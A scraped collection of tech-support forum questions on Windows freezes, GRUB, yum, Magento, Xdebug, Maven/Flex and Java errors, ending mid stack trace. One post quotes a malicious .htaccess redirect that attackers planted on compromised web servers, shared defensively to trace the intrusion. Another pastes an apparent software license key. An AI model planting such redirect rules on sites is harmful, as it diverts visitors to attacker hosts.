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• Computer freezing while watching Flash videos from net

  - by t3st

  I have a Windows 7 home basic, while watching videos from net (within 5 minutes) computer starts to freeze and shows 100 percent CPU usage. I first thought it's a browser issue but watching videos from different browsers also has the same issue. My system runs the latest Firefox browser and all my plugins (including Flash) is up-to-date. After this when I shutdown/restart the computer it will go to the login window with out any problem. From there when I tried to log in to any account, the system starts to freeze and again I have to start and run Windows in safe mode (which doesn't show any problem). I read it in an article to do these steps CMD->sfc/scannow chkdsk after that only my system works normally, even now I can't watch any videos on the net otherwise it starts freezing( I can watch downloaded videos in computer without a problem) and have to do the whole process once more (which takes a lot of time). while running sfc/scannow its showed results that some of the files are corrupted and it could not be repaired. Can this be the cause for freezing of my computer while running Flash videos? or is it a hardware related problem? What different steps do I have to take to correct those corrupt files? System restore works only some times.

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• What kind of hosting do I need? [closed]

  - by Robert Smith

  I have been trying to answer this question but I haven't found an specific answer to my situation. As I want to pay for what I need, I thought I could get a good answer here. I have custom made forum (rather than a built-in forum like the ones you can find as plugins, e.g. WP-Forum or phpBB type of software) in Django. I don't want to use Apache and modwsgi because it's usually very memory-hungry and I can't afford a big server. I prefer a combination of nginx and gunicorn which I think is very efficient (maybe you can also tell me what you think about that). I'm expecting to receive 10,000 to 20,000 visits each month with 15,000 to 30,000 page impressions. I have reviewed some cloud services like Amazon EC2 or Rackspace and other more traditional services (Linodo). This site won't use videos or big images and I certainly don't need a huge amount of bandwidth (200GB would be definitely too much). I need shell access so shared hosting is out of the question. What do I need to run a website like that without problems? What about RAM? 256MB would be enough (that's the amount of RAM offered by small instances in Amazon and Rackspace)? Do you know of any alternative to those I mentioned? If you need more information to provide a useful answer, please don't hesitate to ask. Thanks a lot.

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• How to download video from a website that uses flash player but

  - by TPR

  Possible Duplicate: Download Flash video file from any video site? Livestream.com seems to be using flash player to show both live streams and archived/recorded streams (meaning previously shown streams). I want to download the archived streams. I am assuming that it should be much easier to download archived video from the website compared to the live stream. Here is a sample video: http://www.livestream.com/copanamericana/video?clipId=pla_6f9f4d97-e48f-4b04-bcaa-18e281341b0f&utm_source=lslibrary&utm_medium=ui-thumb ^^ I am not interested in this particular video, just an example. Firefox plugins like DownloadHelper and all do not work. Any suggestions? If I look at the browsing cache, no matter what the website plays, all files have the same size! If I open them, of course no video gets played. So something clever/funny is going on with the flash player on livestream.com (yes, even the archives videos), so it is definitely not the same as downloading videos from youtube. However, ads played on livestream.com videos are properly stored in browser cache.

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• Debian grub2 update removed Windows boot option.

  - by Wrikken

  Since I updated grub to grub 2 I no longer get the option to boot to Windows (which is unfortunately sometimes necessary for proprietary MSIE browser plugins I need to use for work). Relevant /boot/grub/menu.lst portion: ### END DEBIAN AUTOMAGIC KERNELS LIST # This is a divider, added to separate the menu items below from the Debian # ones. title Other operating systems: root # This entry automatically added by the Debian installer for a non-linux OS # on /dev/hda1 title Windows NT/2000/XP root (hd0,0) savedefault makeactive chainloader +1 This however does not appear anymore. I do have some entries in /boot/grub/grub.cfg with entries like these: menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64' --class debian --class gnu-linux --class gnu --class os { insmod part_msdos insmod ext2 set root='(hd1,msdos1)' search --no-floppy --fs-uuid --set e638c434-4884-412f-a141-2c194f881fae echo 'Loading Linux 2.6.32-5-amd64 ...' linux /boot/vmlinuz-2.6.32-5-amd64 root=UUID=e638c434-4884-412f-a141-2c194f881fae ro quiet echo 'Loading initial ramdisk ...' initrd /boot/initrd.img-2.6.32-5-amd64 } Do I have to alter that file? If so, what is the correct syntax for a Windows boot? If not, what could be the problem?

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• yum trying to install el5 when I am on el6

  - by giorgio79

  When I run the following yum command I get this error: Package: git-1.7.10.1-1.el5.rf.x86_64 (rpmforge) Requires: libcurl.so.3()(64bit)" I read that this error is due to running an el5 rpmforge or having some el5 installed packages. How can I solve this problem? $ yum install git Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile * base: centos.kiewel-online.ch * epel: fedora.kiewel-online.ch * extras: centos.kiewel-online.ch * rpmforge: mirror.de.leaseweb.net * updates: centos.kiewel-online.ch Setting up Install Process Resolving Dependencies --> Running transaction check ---> Package git.x86_64 0:1.7.10.1-1.el5.rf will be installed --> Processing Dependency: perl-Git = 1.7.10.1-1.el5.rf for package: git-1.7.10.1-1.el5.rf.x86_64 --> Processing Dependency: perl(Git) for package: git-1.7.10.1-1.el5.rf.x86_64 --> Processing Dependency: libexpat.so.0()(64bit) for package: git-1.7.10.1-1.el5.rf.x86_64 --> Processing Dependency: libcurl.so.3()(64bit) for package: git-1.7.10.1-1.el5.rf.x86_64 --> Running transaction check ---> Package compat-expat1.x86_64 0:1.95.8-8.el6 will be installed ---> Package git.x86_64 0:1.7.10.1-1.el5.rf will be installed --> Processing Dependency: libcurl.so.3()(64bit) for package: git-1.7.10.1-1.el5.rf.x86_64 ---> Package perl-Git.x86_64 0:1.7.10.1-1.el5.rf will be installed --> Finished Dependency Resolution Error: Package: git-1.7.10.1-1.el5.rf.x86_64 (rpmforge) Requires: libcurl.so.3()(64bit) You could try using --skip-broken to work around the problem You could try running: rpm -Va --nofiles --nodigest

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• why would resetting the Netgear N300 router fix my Win 7 laptop's slow wifi?

  - by rjnagle

  In the past day the wifi download speeds of my Win 7 HP 64 bit laptop have slowed considerably. I am trying to troubleshoot the problem and to figure out whether it's hardware related (i.e., is the Intel(R) Centrino(R) Wireless-N 2230 the problem?) or router related. I have a Netgear N300 router connected to my modem. I'm using Speedtest to measure my speed. First, during my problem state, my ipad can download and upload at normal speeds. It's only my Win 7 laptop which is having problems. Because my ipad downloads at normal speeds, that would tell me that the problem is specific to the laptop (either HW or SW). But when I restarted my Netgear router, the laptop wifi problems disappeared. That just doesn't make sense. If we know that one device can connect properly to the router, why would a laptop have problems? What are some possible reasons why this might happen? Also, during my problem state, I noticed that on my laptop upload speeds were faster than my download speeds. Anybody have a guess about what might cause upload speeds on one device to be faster than another? Is there any actions i could take (or options to enable) so this problem won't occur. (I initially thought my problem might be software related or memory related -- Norton AV or browser plugins. But even after I disabled everything and made sure memory footprint was minimal, the slowdown was still occurring -- and it solved itself altogether when the router was reset).

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• Javascript loading never completes on many sites

  - by Joe

  I recently moved country and have found that on many websites the page never finishes loading. In some cases, no content is ever displayed, but the loading will never time out. Loading Developer Tools in Chrome shows me that it is the Javascript files which never load. For example, this BBC article will never load compatability.js, though will load all the other JS files perfectly. Google Maps often fails to finish loading, meaning it's impossible to make searches. There seems to be no pattern to which files will fail to load (i.e. they don't come from the same CDN). I have tried Chrome, Safari and Firefox on OSX 10.8, and Chrome on my girlfriend's OSX 10.7. I have similar issues on the iPad. In many cases, if I can go to the mobile version of the page that seems to load fine. I have run the browsers in private mode, disabled plugins, updated flash, cleared the cache, flushed the DNS cache - though it would seem that if this is happening on other devices, none of this would work anyway. Is this an ISP issue? And if so, why would it be limited to certain JS files and not all? JS files from the same domain work fine, so I'm not really sure what I should be looking for.

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• Finding Webserver Vulnerability

  - by Brent

  We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites. The content of the .htaccess file was this: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is. I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole? So far we have determined: the changes were made as www-data, so apache or it's plugins are likely the culprit all the changes were made within 15 minutes of each other, so it was probably automated since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site) if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse) Any more hints would be appreciated.

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• Is it possible to get ESC to behave as an actual escape key?

  - by leftaroundabout

  So I have finally switched, not so much because I'm yet convinced Emacs in itself is the better editor but because it certainly does have more powerful extensions. I am still using vim-mode though, perhaps that's part of my problem... but I really don't intend to abandon the modes-approach, so I'll probably stay with it. I'm getting along quite well, but one thing I find really unnerving is the behaviour of the esc key (which I have in the shift-lock position). I'm used to relying on this a lot as more or less a "panic key", which may not be nice but I find allows me to work generally quite a bit less caring about the keystrokes themselves, and thus faster. What I'd like this key to do is just get me out of any minibuffer or special editing mode into a well-defined normal state. Perhaps most importantly, I would like it to not do anything unrelated, Simulate meta. What do I have an alt key for? Close windows I'm not even in at the time. Getting interpreted as the final key in some key sequence. ... Is it possible to turn all that off and make esc an actual escape key? Vim-mode does make it behave kind of as I like in some situations, but when other plugins are involves this often breaks. Alternatively, are there different options that might suit my kind of workflow?

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• CMSs & ERPs for hospital management system

  - by Akshey

  Hi, What are the best free CMSs or CMS plugins or ERPs or any other free tools available for developing a hospital management system? I want to develop it for a children's hospital run by my father. The hospital is small with two doctors. Currently, everything is done manually on paper. The main entities who will be using the system are: Receptionist, the two doctors, chemist and the medical laboratorist. They will use it majorly for keeping the records of the patient. The patients would not be interacting with the system directly. The system needs to be user friendly and should be easy to learn. I was thinking to develop such a system using a CMS or an ERP or any other free tool. I have used wordpress/drupal in past but never used an ERP. Can you please guide me to make such a system using free, and preferably open source, tools? Update: I think it will be mostly a form driven system. What would be easy and better: creating the forms in drupal or using a php framework like symphony or cakePHP? Thanks, Akshey

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• Java in a browser on Ubuntu

  - by Peter

  So I am running an old version of Ubuntu and all of a sudden, my capabilities to run Java in a browser have stopped and it no longer executes properly. Someone else set this up for me, but I believe it's running icedtea plugin 6 and jre 6. What would be the best ways to troubleshoot this? I suppose I could try downloading icedtea 7 and jre 7 (sun or openjdK) and see if that works? Also, in general, is installing icedtea, installing a java runtime environment, and then symlinking something to the plugins directory of your browser the best way to get Java working on most Linux systems? Unfortunately, there are many guides all over the internet offering totally different solutions, but this is probably the most common I've seen (not sure how well it works). My main use is downloading an executing .jnlp files (browsers should open it automatically). Although, I've seen people using "javasw" to run the file outside of a browser. Is this something I could consider doing? I can't seem to find javasw packaged for my version of Ubuntu.

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• Very high Magento/Apache memory usage even without visitors (are we fooled by our hosting company?)

  - by MrDobalina

  I am no server guy and we have issues with our speed so I come here asking for advise. We have a VPS with 2 cores and 2gb of RAM at a Magento specialized hosting company. Over the course of the last weeks our site speed has gotten worse, even though our store is new, has less than 1000 SKUs and not even 100 visitos a day. At magespeedtest.com we only get 1.87 trans/sec @ 2.11 secs each with a mere 5 concurrent users. Our magento log files are clean, we have no huge database tables or anything like that. When we take a look at our server real time stats, we see that the memory usage jumped up from about 34% to 71% and now 82% in just a few days in idle, with no visitors on the site. Our hosting company said that we do not need to worry about that as it`s maybe related to mysql which creates buffers (which are maybe not even actually being used) and what is important is CPU and swap - stats are ok here. They also said that the low benchmark scores are caused by bad extensions or template modifications on our side. We are not sure if we can trust that statement as we only have 4 plugins installed (all from aheadworks and amasty which are known to be one of the best magento extension developers). Our template modifications are purely html and css, no modifications to the php code. Our pagespeed is ranked with 93/100 in firebug and Magento is properly configured, so the problem really just gets obvious when there are a handful of users on the site at the same time. Can anyone confirm our hosting`s statement about memory usage and where can I start looking for a solution?

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• Need some help figuring out BB4Win or any of its varieties: does it replace windows explorer?

  - by StormRyder

  I don't really care too much about replacing original Windows the desktop, taskbar and system tray. I really dislike the new Win7/Vista Windows Explorer: Screenshot here (just to make sure there's no confusion) So, what I'm trying to figure out is whether BB4Win or its plugins have a replacement for it. The bb4win website pretty much doesn't make sense to me. I'm using Win7 64 bit. Also, off-topic ... I was looking at a related question on this site here: Good Windows shell replacement Why can't I add comments? I wanted to ask the same question I'm asking now as a comment under the answer given by Molly7244, the person who answered with suggesting BB4Win. But there seems to be no way to add new comments anywhere! Why? Am I missing something? I don't quite understand the weird way this site is set up... I'm used to the more typical forum format. Sorry. Thanks for any help!

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• Xdebug: remote debugging won't stop at breakpoints

  - by Bryan M.

  I'm having a problem with xdebug not stopping at breakpoints when using remote debugging (everything is fine when running scripts via the command line). It will break at the first line of the program, then exit, not catching any breakpoints. It used to work fine, until I switched over to using MacPorts for Apache and PHP. I've tried re-compiling it serveral times (with several versions), but no dice. I'm using PHP 5.3.1 and Xdebug 2.1.0-beta3 I've also tried at least 3 different debugging programs (MacGDBp, Netbeans and JetBrains Web IDE). My php.ini settings look like: [xdebug] xdebug.remote_enable=1 xdebug.remote_handler=dbgp xdebug.remote_mode=req xdebug.remote_port=9000 xdebug.remote_host=localhost xdebug.idekey=webide And when I log the debugger output, setting a breakpoint looks like this/; <- breakpoint_set -i 895 -t line -f file:///Users/WM_imac/Sites/wm/debug_test.php -n 13 -s enabled -> <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="breakpoint_set" transaction_id="895" state="enabled" id="890660002"></response> When run, the debugger will get the context of the first line of the application, then send the detach and stop messages. However, this line is output when starting the debugger. <- feature_get -i 885 -n breakpoint_types -> <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="feature_get" transaction_id="885" feature_name="breakpoint_types" supported="1"><![CDATA[line conditional call return exception]]></response> Does 'line conditional call return exception' mean anything?

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• Could not resolve <fx:Script> to a component implementation.

  - by seref

  Hi, i created project with flexmojos maven archtype..i used flexmojos:flexbuilder and compile/run with FlashBuilder 4 everything is okay but when i try to compile project with flexmojos i got following error: [ERROR] Z:....\src\main\flex\Main.mxml:[6,-1] Could not resolve < fx:Script to a component implementation. [INFO] BUILD FAILURE my mxml: <?xml version="1.0" encoding="utf-8"?> <s:Application xmlns:fx="http://ns.adobe.com/mxml/2009" xmlns:s="library://ns.adobe.com/flex/spark" xmlns:mx="library://ns.adobe.com/flex/mx" width="100%" height="100%" creationComplete="application1_creationCompleteHandler(event)"> <fx:Script> <![CDATA[ import mx.controls.Alert; import mx.events.FlexEvent; protected function application1_creationCompleteHandler(event:FlexEvent):void { Alert.show("success!!!!") } ]]></fx:Script> </s:Application> pom.xml like: ...... <packaging>swf</packaging> ...... <properties> <flex-sdk.version>4.1.0.16076</flex-sdk.version> <flexmojos.version>3.8</flexmojos.version> </properties> ...... <build> <sourceDirectory>src/main/flex</sourceDirectory> <testSourceDirectory>src/test/flex</testSourceDirectory> <plugins> <plugin> <groupId>org.sonatype.flexmojos</groupId> <artifactId>flexmojos-maven-plugin</artifactId> <version>${flexmojos.version}</version> <extensions>true</extensions> <dependencies> <dependency> <groupId>com.adobe.flex</groupId> <artifactId>compiler</artifactId> <version>${flex-sdk.version}</version> <type>pom</type> </dependency> </dependencies> <configuration> <compiledLocales> <locale>en_US</locale> </compiledLocales> <mergeResourceBundle>true</mergeResourceBundle> <accessible>true</accessible> <optimize>true</optimize> <targetPlayer>10.0.0</targetPlayer> <showWarnings>true</showWarnings> <linkReport>true</linkReport> </configuration> </plugin> </plugins> </build> <dependencies> <!-- Flex framework resource bundles --> <dependency> <groupId>com.adobe.flex.framework</groupId> <artifactId>flex-framework</artifactId> <version>${flex-sdk.version}</version> <type>pom</type> </dependency> <!-- Include unit test dependencies. --> <dependency> <groupId>com.adobe.flexunit</groupId> <artifactId>flexunit</artifactId> <version>4.0-rc-1</version> <type>swc</type> <scope>test</scope> </dependency> </dependencies> ....... maven output compiler config : INFO] Flex compiler configurations: -compiler.external-library-path C:\...\.m2\repository\com\adobe\flex \framework\playerglobal\4.1.0.16076\10.0\playerglobal.swc -compiler.include-libraries= -compiler.library-path C:\...\.m2\repository\com\adobe\flex\framework \datavisualization\4.1.0.16076\datavisualization-4.1.0.16076.swc C:\... \.m2\repository\com\adobe\flex\framework\flash-integration \4.1.0.16076\flash-integration-4.1.0.16076.swc C:\...\.m2\repository \com\adobe\flex\framework\flex\4.1.0.16076\flex-4.1.0.16076.swc C:\... \.m2\repository\com\adobe\flex\framework\framework \4.1.0.16076\framework-4.1.0.16076.swc C:\...\.m2\repository\com\adobe \flex\framework\osmf\4.1.0.16076\osmf-4.1.0.16076.swc C:\... \.m2\repository\com\adobe\flex\framework\rpc \4.1.0.16076\rpc-4.1.0.16076.swc C:\...\.m2\repository\com\adobe\flex \framework\spark\4.1.0.16076\spark-4.1.0.16076.swc C:\... \.m2\repository\com\adobe\flex\framework\sparkskins \4.1.0.16076\sparkskins-4.1.0.16076.swc C:\...\.m2\repository\com\adobe \flex\framework\textLayout\4.1.0.16076\textLayout-4.1.0.16076.swc C: \...\.m2\repository\com\adobe\flex\framework\utilities \4.1.0.16076\utilities-4.1.0.16076.swc C:\...\.m2\repository\com\adobe \flex\framework\datavisualization \4.1.0.16076\datavisualization-4.1.0.16076-en_US.rb.swc C:\... \.m2\repository\com\adobe\flex\framework\framework \4.1.0.16076\framework-4.1.0.16076-en_US.rb.swc C:\...\.m2\repository \com\adobe\flex\framework\osmf\4.1.0.16076\osmf-4.1.0.16076- en_US.rb.swc C:\...\.m2\repository\com\adobe\flex\framework\rpc \4.1.0.16076\rpc-4.1.0.16076-en_US.rb.swc C:\...\.m2\repository\com \adobe\flex\framework\spark\4.1.0.16076\spark-4.1.0.16076-en_US.rb.swc C:\...\.m2\repository\com\adobe\flex\framework\textLayout \4.1.0.16076\textLayout-4.1.0.16076-en_US.rb.swc C:\...\.m2\repository \com\adobe\flex\framework\flash-integration\4.1.0.16076\flash- integration-4.1.0.16076-en_US.rb.swc C:\...\.m2\repository\com\adobe \flex\framework\playerglobal\4.1.0.16076\playerglobal-4.1.0.16076- en_US.rb.swc -compiler.theme Z:\.....\target\classes\configs\themes\Spark \spark.css -compiler.accessible=true -compiler.allow-source-path-overlap=false -compiler.as3=true -compiler.debug=false -compiler.es=false -compiler.fonts.managers flash.fonts.JREFontManager flash.fonts.BatikFontManager flash.fonts.AFEFontManager flash.fonts.CFFFontManager -compiler.fonts.local-fonts-snapshot Z:\.....\target\classes \fonts.ser -compiler.keep-generated-actionscript=false -licenses.license flashbuilder4 952309948800588759250406 -licenses.license flexbuilder4.displayedStartPageAtLeastOneTime true -compiler.locale en_US -compiler.optimize=true -compiler.source-path Z:\.....\src\main\flex -compiler.strict=true -use-network=true -compiler.verbose-stacktraces=false -compiler.actionscript-file-encoding UTF-8 -target-player 10.0.0 -default-background-color 8821927 -default-frame-rate 24 -default-script-limits 1000 60 -default-size 500 375 -compiler.headless-server=false -compiler.keep-all-type-selectors=false -compiler.use-resource-bundle-metadata=true -metadata.date Fri Mar 04 14:04:37 EET 2011 -metadata.localized-title Main x-default -verify-digests=true -compiler.namespaces.namespace+=http://ns.adobe.com/mxml/2009,Z:\..... \target\classes\config-4.1.0.16076\mxml-2009-manifest.xml -compiler.namespaces.namespace+=library://ns.adobe.com/flex/spark,Z: \.....\target\classes\config-4.1.0.16076\spark-manifest.xml -compiler.namespaces.namespace+=library://ns.adobe.com/flex/mx,Z:\..... \target\classes\config-4.1.0.16076\mx-manifest.xml -compiler.namespaces.namespace+=http://www.adobe.com/2006/mxml,Z:\..... \PozitronUI\target\classes\config-4.1.0.16076\mxml-manifest.xml - static-link-runtime-shared-libraries=false -load-config= -metadata.language+=en_US any help... regards,

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• Setting the Classpath and Accessing code from book: Programming Clojure

  - by user130153

  (I posted this same question on the Clojure list but haven't got an answer yet. Is anyone here ready to help?) I am going through Programming Clojure and I recently downloaded the code from the books official website. For other utils I can do, for example, (require 'clojure.contrib.str-utils) and it works. But how do I load code from the book? (require 'examples.introduction) throws the following exception: java.io.FileNotFoundException: Could not locate examples/ introduction__init.class or examples/introduction.clj on classpath: (NO_SOURCE_FILE:0) [Thrown class clojure.lang.Compiler$CompilerException] Here is the full backtrace: Backtrace: 0: clojure.lang.Compiler.eval(Compiler.java:4543) 1: clojure.core$eval__3990.invoke(core.clj:1728) 2: swank.commands.basic$eval_region__686.invoke(basic.clj:36) 3: swank.commands.basic$listener_eval__695.invoke(basic.clj:50) 4: clojure.lang.Var.invoke(Var.java:346) 5: user$eval__1200.invoke(NO_SOURCE_FILE) 6: clojure.lang.Compiler.eval(Compiler.java:4532) 7: clojure.core$eval__3990.invoke(core.clj:1728) 8: swank.core$eval_in_emacs_package__307.invoke(core.clj:55) 9: swank.core$eval_for_emacs__384.invoke(core.clj:123) 10: clojure.lang.Var.invoke(Var.java:354) 11: clojure.lang.AFn.applyToHelper(AFn.java:179) 12: clojure.lang.Var.applyTo(Var.java:463) 13: clojure.core$apply__3243.doInvoke(core.clj:390) 14: clojure.lang.RestFn.invoke(RestFn.java:428) 15: swank.core$eval_from_control__310.invoke(core.clj:62) 16: swank.core$eval_loop__313.invoke(core.clj:67) 17: swank.core$spawn_repl_thread__445$fn__476$fn__478.invoke(core.clj: 173) 18: clojure.lang.AFn.applyToHelper(AFn.java:171) 19: clojure.lang.AFn.applyTo(AFn.java:164) 20: clojure.core$apply__3243.doInvoke(core.clj:390) 21: clojure.lang.RestFn.invoke(RestFn.java:428) 22: swank.core$spawn_repl_thread__445$fn__476.doInvoke(core.clj:170) 23: clojure.lang.RestFn.invoke(RestFn.java:402) 24: clojure.lang.AFn.run(AFn.java:37) 25: java.lang.Thread.run(Unknown Source) I am trying both Clojure Box and Enclojure in NetBeans on Windows XP. Is it a classpath issue? Where should I place the folder that contains code from the book? Please help me out with my variable enviroment settings as well.

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• java.lang.VerifyError on method that worked a minute ago

  - by Travis

  Apologies in advance but I have never seen this error before and don't know what to include. I am using NetBeans and suddenly began getting this error: Exception in thread "AWT-EventQueue-0" java.lang.VerifyError: (class: market/CostOperations, method: <init> signature: ()V) Constructor must call super() or this() at Bluebuild.Main.refreshTables(Main.java:748) at Bluebuild.Main.formComponentShown(Main.java:649) at Bluebuild.Main.access$100(Main.java:28) at Bluebuild.Main$2.componentShown(Main.java:374) at java.awt.Component.processComponentEvent(Component.java:6095) at java.awt.Component.processEvent(Component.java:6043) at java.awt.Container.processEvent(Container.java:2041) at java.awt.Window.processEvent(Window.java:1836) at java.awt.Component.dispatchEventImpl(Component.java:4630) at java.awt.Container.dispatchEventImpl(Container.java:2099) at java.awt.Window.dispatchEventImpl(Window.java:2478) at java.awt.Component.dispatchEvent(Component.java:4460) at java.awt.EventQueue.dispatchEvent(EventQueue.java:599) at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:269) at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:184) at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:174) at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:169) at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:161) at java.awt.EventDispatchThread.run(EventDispatchThread.java:122) I have not a clue what happened. I didn't even modify market/CostOperations. Here's the constructor though: public CostOperations() throws ParserConfigurationException, SAXException, IOException { //Open the xml file DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); f = new File(dbName); doc = builder.parse(f); System.out.println(f.canWrite()); //Create the XPath XPathFactory xpfactory = XPathFactory.newInstance(); path = xpfactory.newXPath(); } In Debug Mode I get this: debug: Have no FileObject for C:\Program Files (x86)\Java\jdk1.6.0_20\jre\lib\sunrsasign.jar Have no FileObject for C:\Program Files (x86)\Java\jdk1.6.0_20\jre\classes I just need to know what is causing the error and how to fix it. Thanks!

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• javax.servlet.ServletException: Servlet.init() for servlet Relay threw exception

  - by Talha Bin Shakir

  I built application by using Netbeans and its working fine. But When i deployed on TOMCAT I am getting this error javax.servlet.ServletException: Servlet.init() for servlet Relay threw exception org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:293) org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:849) org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:583) org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:454) java.lang.Thread.run(Thread.java:636) *root cause* java.security.AccessControlException: access denied (java.util.PropertyPermission jasper.reports.compile.class.path write) java.security.AccessControlContext.checkPermission(AccessControlContext.java:342) java.security.AccessController.checkPermission(AccessController.java:553) java.lang.SecurityManager.checkPermission(SecurityManager.java:549) java.lang.System.setProperty(System.java:744) com.servlet.Relay.init(Relay.java:38) javax.servlet.GenericServlet.init(GenericServlet.java:212) sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) java.lang.reflect.Method.invoke(Method.java:616) org.apache.catalina.security.SecurityUtil$1.run(SecurityUtil.java:269) java.security.AccessController.doPrivileged(Native Method) javax.security.auth.Subject.doAsPrivileged(Subject.java:537) org.apache.catalina.security.SecurityUtil.execute(SecurityUtil.java:301) org.apache.catalina.security.SecurityUtil.doAsPrivilege(SecurityUtil.java:162) org.apache.catalina.security.SecurityUtil.doAsPrivilege(SecurityUtil.java:115) org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:293) org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:849) org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:583) org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:454) Any Idea.

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• embedded glassfish: java.lang.NoClassDefFoundError: java/util/ServiceLoader

  - by Xinus

  I am trying to embed glassfish inside my java program using embeded api, I am using maven2 and its pom.xml is as follows <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>orh.highmark</groupId> <artifactId>glassfish-test1</artifactId> <version>1.0-SNAPSHOT</version> <packaging>jar</packaging> <name>glassfish-test1</name> <url>http://maven.apache.org</url> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>3.8.1</version> <scope>test</scope> </dependency> <dependency> <groupId>org.glassfish.extras</groupId> <artifactId>glassfish-embedded-all</artifactId> <version>3.1-SNAPSHOT</version> </dependency> </dependencies> <repositories> <repository> <id>maven2-repository.dev.java.net</id> <name>Java.net Repository for Maven</name> <url>http://download.java.net/maven/2/</url> <layout>default</layout> </repository> <repository> <id>glassfish-repository</id> <name>GlassFish Nexus Repository</name> <url>http://maven.glassfish.org/content/groups/glassfish</url> </repository> </repositories> <build> <plugins> <plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>exec-maven-plugin</artifactId> <version>1.1</version> <executions> <execution> <goals> <goal>java</goal> </goals> </execution> </executions> <configuration> <mainClass>orh.highmark.App</mainClass> <arguments> <argument>argument1</argument> </arguments> </configuration> </plugin> </plugins> </build> </project> Program: public class App { public static void main( String[] args ) { System.out.println( "Hello World!" ); Server.Builder builder = new Server.Builder("test"); builder.logger(true); Server server = builder.build(); } } But for some reason it always gives me error as java.lang.NoClassDefFoundError: java/util/ServiceLoader here is the output C:\Users\sunils\glassfish-tests\glassfish-test1>mvn -e exec:java + Error stacktraces are turned on. [INFO] Scanning for projects... [INFO] ------------------------------------------------------------------------ [INFO] Building glassfish-test1 [INFO] task-segment: [exec:java] [INFO] ------------------------------------------------------------------------ [INFO] Preparing exec:java [INFO] No goals needed for project - skipping [INFO] [exec:java {execution: default-cli}] Hello World! [INFO] ------------------------------------------------------------------------ [ERROR] BUILD ERROR [INFO] ------------------------------------------------------------------------ [INFO] An exception occured while executing the Java class. null java/util/ServiceLoader [INFO] ------------------------------------------------------------------------ [INFO] Trace org.apache.maven.lifecycle.LifecycleExecutionException: An exception occured whi le executing the Java class. null at org.apache.maven.lifecycle.DefaultLifecycleExecutor.executeGoals(Defa ultLifecycleExecutor.java:719) at org.apache.maven.lifecycle.DefaultLifecycleExecutor.executeStandalone Goal(DefaultLifecycleExecutor.java:569) at org.apache.maven.lifecycle.DefaultLifecycleExecutor.executeGoal(Defau ltLifecycleExecutor.java:539) at org.apache.maven.lifecycle.DefaultLifecycleExecutor.executeGoalAndHan dleFailures(DefaultLifecycleExecutor.java:387) at org.apache.maven.lifecycle.DefaultLifecycleExecutor.executeTaskSegmen ts(DefaultLifecycleExecutor.java:348) at org.apache.maven.lifecycle.DefaultLifecycleExecutor.execute(DefaultLi fecycleExecutor.java:180) at org.apache.maven.DefaultMaven.doExecute(DefaultMaven.java:328) at org.apache.maven.DefaultMaven.execute(DefaultMaven.java:138) at org.apache.maven.cli.MavenCli.main(MavenCli.java:362) at org.apache.maven.cli.compat.CompatibleMain.main(CompatibleMain.java:6 0) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl. java:39) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAcces sorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:585) at org.codehaus.classworlds.Launcher.launchEnhanced(Launcher.java:315) at org.codehaus.classworlds.Launcher.launch(Launcher.java:255) at org.codehaus.classworlds.Launcher.mainWithExitCode(Launcher.java:430) at org.codehaus.classworlds.Launcher.main(Launcher.java:375) Caused by: org.apache.maven.plugin.MojoExecutionException: An exception occured while executing the Java class. null at org.codehaus.mojo.exec.ExecJavaMojo.execute(ExecJavaMojo.java:345) at org.apache.maven.plugin.DefaultPluginManager.executeMojo(DefaultPlugi nManager.java:490) at org.apache.maven.lifecycle.DefaultLifecycleExecutor.executeGoals(Defa ultLifecycleExecutor.java:694) ... 17 more Caused by: 